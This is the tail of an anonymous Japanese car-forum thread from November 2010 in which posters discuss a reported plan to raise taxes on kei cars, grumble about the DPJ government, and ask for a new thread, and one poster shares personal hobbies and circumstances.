977 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 21:33:59 ID:GEFCmjHt0
俺は１１月３日は日本シリーズがあると思って申し込まなかった。
巨人が敗退したので行けたのに。
巨人が敗退したので行けたのに。
978 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 22:46:40 ID:OfhL0i6f0
979 ：名無しさん＠そうだドライブへ行こう：2010/11/01(月) 23:17:55 ID:uFOOEyNc0
980 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 11:37:49 ID:jowyxzM30
軽自動車の負担引き上げ＝新税で基本的考え方―総務省
総務省は2日、地方税である自動車税・軽自動車税と、国税である自動車重量税を一本化する環境自動車税（地方税）の創設に向けて、基本的な考え方を発表した。
新税は二酸化炭素（CO2）排出量と排気量を基に税額を決定する。また、660cc以下の軽自動車と1000cc以下の小型自動車は規格や燃費などに大きな違いがないものの、
小型車にかかる自動車税が軽自動車税の約4倍となっている点に着目。軽自動車の負担を引き上げる一方、小型車は軽減し、格差を縮小させる。
環境自動車税は制度導入後に新車登録された車を対象とする。登録済みの車は現行通り自動車税・軽自動車税と自動車重量税を課す。
新税の税率は未定だが、税収中立となるように制度設計する。自動車税と同じ方法で年1回徴収し、自動車重量税のような車検時徴収は行わない。
http://headlines.yahoo.co.jp/hl?a=20101102-00000037-jij-pol
総務省は2日、地方税である自動車税・軽自動車税と、国税である自動車重量税を一本化する環境自動車税（地方税）の創設に向けて、基本的な考え方を発表した。
新税は二酸化炭素（CO2）排出量と排気量を基に税額を決定する。また、660cc以下の軽自動車と1000cc以下の小型自動車は規格や燃費などに大きな違いがないものの、
小型車にかかる自動車税が軽自動車税の約4倍となっている点に着目。軽自動車の負担を引き上げる一方、小型車は軽減し、格差を縮小させる。
環境自動車税は制度導入後に新車登録された車を対象とする。登録済みの車は現行通り自動車税・軽自動車税と自動車重量税を課す。
新税の税率は未定だが、税収中立となるように制度設計する。自動車税と同じ方法で年1回徴収し、自動車重量税のような車検時徴収は行わない。
http://headlines.yahoo.co.jp/hl?a=20101102-00000037-jij-pol
981 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 19:25:00 ID:vKkq3iKp0
もしかして、また軽ボンバンの時代が来るかな？
982 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 20:13:45 ID:NBGUq+pA0
バンは除外なの？
983 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 22:16:38 ID:i6vw24cf0
さすがに軽トラとかは増税しないだろ～？
984 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 23:14:40 ID:t5jZI72Z0
軽トラックの保有台数は他の貨物より安定してて、ずっと1000万台くらい
年間2万円増税するだけで2000億の増収（軽トラだけで）
民主党でも見逃さないと思う
年間2万円増税するだけで2000億の増収（軽トラだけで）
民主党でも見逃さないと思う
985 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 23:26:00 ID:t5jZI72Z0
失礼。
新車から導入だったね。
新車から導入だったね。
986 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 23:33:27 ID:m3/pgcth0
987 ：名無しさん＠そうだドライブへ行こう：2010/11/02(火) 23:44:47 ID:Du9pCkZP0
元々は貨物登録は想定してない話だったはずだよ。
988 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 03:38:55 ID:90LnRmNoP
民主党は嘘のマニフェストで国民を騙して政権を掠め取ったよなぁ
ガソリン下がらず高速無料にせず軽の税金大増税は熱心にやる
埋蔵金なんて何も無いのに子供手当てだけは外人にもバラ撒く
尖閣も北方も奪われそうだし・・・与えたのかｗ
ガソリン下がらず高速無料にせず軽の税金大増税は熱心にやる
埋蔵金なんて何も無いのに子供手当てだけは外人にもバラ撒く
尖閣も北方も奪われそうだし・・・与えたのかｗ
989 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 12:25:25 ID:n48P9CkdO
>>988
んな厨二病全開な駄文要らないから次スレ建ててよw
んな厨二病全開な駄文要らないから次スレ建ててよw
990 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 12:25:32 ID:XWcT59XE0
実現したのって、子供手当てだけか…
あまりにも寒い結果だな。他の実現していない公約は、あと３年（もてば）で
実現する気があるのだろうか？
現時点で選挙があったら、２度と民主に入れようなんて思う人は皆無だろうからな。
経済停滞だけじゃなく、国の存立自体危ない事になるなんて、どんな政権運営してんだ？
あまりにも寒い結果だな。他の実現していない公約は、あと３年（もてば）で
実現する気があるのだろうか？
現時点で選挙があったら、２度と民主に入れようなんて思う人は皆無だろうからな。
経済停滞だけじゃなく、国の存立自体危ない事になるなんて、どんな政権運営してんだ？
991 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 12:32:28 ID:qtTe2ibH0
車板ではスレがたてにくいなら軽自動車板でもいいよ。
上級カーオーディオは軽自動車板にあるし。
上級カーオーディオは軽自動車板にあるし。
992 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 12:51:40 ID:qtTe2ibH0
993 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 13:51:16 ID:qtTe2ibH0
俺はベストカー、ベストカープラス(隔月刊）、オートサウンド(季刊）と
ディズニーファン（月刊）を読んでいます。
無職で無趣味です
平日は精神病院のデイケアに通っています。
障害年金が３級で年収６０万円です。
愛車はインプレッサＳ－ＧＴ（ＧＨ８） ＭＴ 黒 です。
２００３年８月頃まではベストカー、マガジンＸ、くるまにあ、インプレッサマガジン、
シックススターマガジン、スバリズム、カーグッズマガジン、オートサウンド、
カーオーディオマガジン、サウンドアップ、カーオーディオワールド、
hm3（アニメ）を読んでいました。
統合失調症で２ヶ月入院してからベストカーだけになりました。
今年は巨人戦を全試合をテレビで見ました。(１４８試合）
ナゴヤドームの巨人戦を公式戦全１２試合とクライマックスシリーズ１試合と
オープン戦全２試合を津から見に行きました。
来年は野球を見るのをやめます。
プロ野球ニュース（２３時～２３時５０分）も見ません。
スポーツ新聞（報知、ニッカン、中日スポーツ）も読みません。
ベストカーを読むのと岡田斗司夫（おたく評論家）ファンと
パリスマッチ（ＪＰＯＰ）ファンを趣味にしたいと思います。
チラ裏すみません。
ディズニーファン（月刊）を読んでいます。
無職で無趣味です
平日は精神病院のデイケアに通っています。
障害年金が３級で年収６０万円です。
愛車はインプレッサＳ－ＧＴ（ＧＨ８） ＭＴ 黒 です。
２００３年８月頃まではベストカー、マガジンＸ、くるまにあ、インプレッサマガジン、
シックススターマガジン、スバリズム、カーグッズマガジン、オートサウンド、
カーオーディオマガジン、サウンドアップ、カーオーディオワールド、
hm3（アニメ）を読んでいました。
統合失調症で２ヶ月入院してからベストカーだけになりました。
今年は巨人戦を全試合をテレビで見ました。(１４８試合）
ナゴヤドームの巨人戦を公式戦全１２試合とクライマックスシリーズ１試合と
オープン戦全２試合を津から見に行きました。
来年は野球を見るのをやめます。
プロ野球ニュース（２３時～２３時５０分）も見ません。
スポーツ新聞（報知、ニッカン、中日スポーツ）も読みません。
ベストカーを読むのと岡田斗司夫（おたく評論家）ファンと
パリスマッチ（ＪＰＯＰ）ファンを趣味にしたいと思います。
チラ裏すみません。
994 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 17:38:21 ID:qtTe2ibH0
元ＮＡＶＩ編集長塩見がテレビに出たんだね
http://www.youtube.com/watch?v=8VQS8sF3Tys&p=D5AECD771FA23A18
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995 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 23:48:04 ID:7vQNffwJ0
996 ：名無しさん＠そうだドライブへ行こう：2010/11/03(水) 23:49:49 ID:7vQNffwJ0
997 ：名無しさん＠そうだドライブへ行こう：2010/11/04(木) 22:25:23 ID:HA9rr1/w0
998 ：名無しさん＠そうだドライブへ行こう：2010/11/05(金) 00:05:47 ID:Dgl+W1A20
999 ：名無しさん＠そうだドライブへ行こう：2010/11/05(金) 00:06:27 ID:3xd7HTqZ0
1000 ：名無しさん＠そうだドライブへ行こう：2010/11/05(金) 00:07:08 ID:Dgl+W1A20
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もう書けないので、新しいスレッドを立ててくださいです。。。
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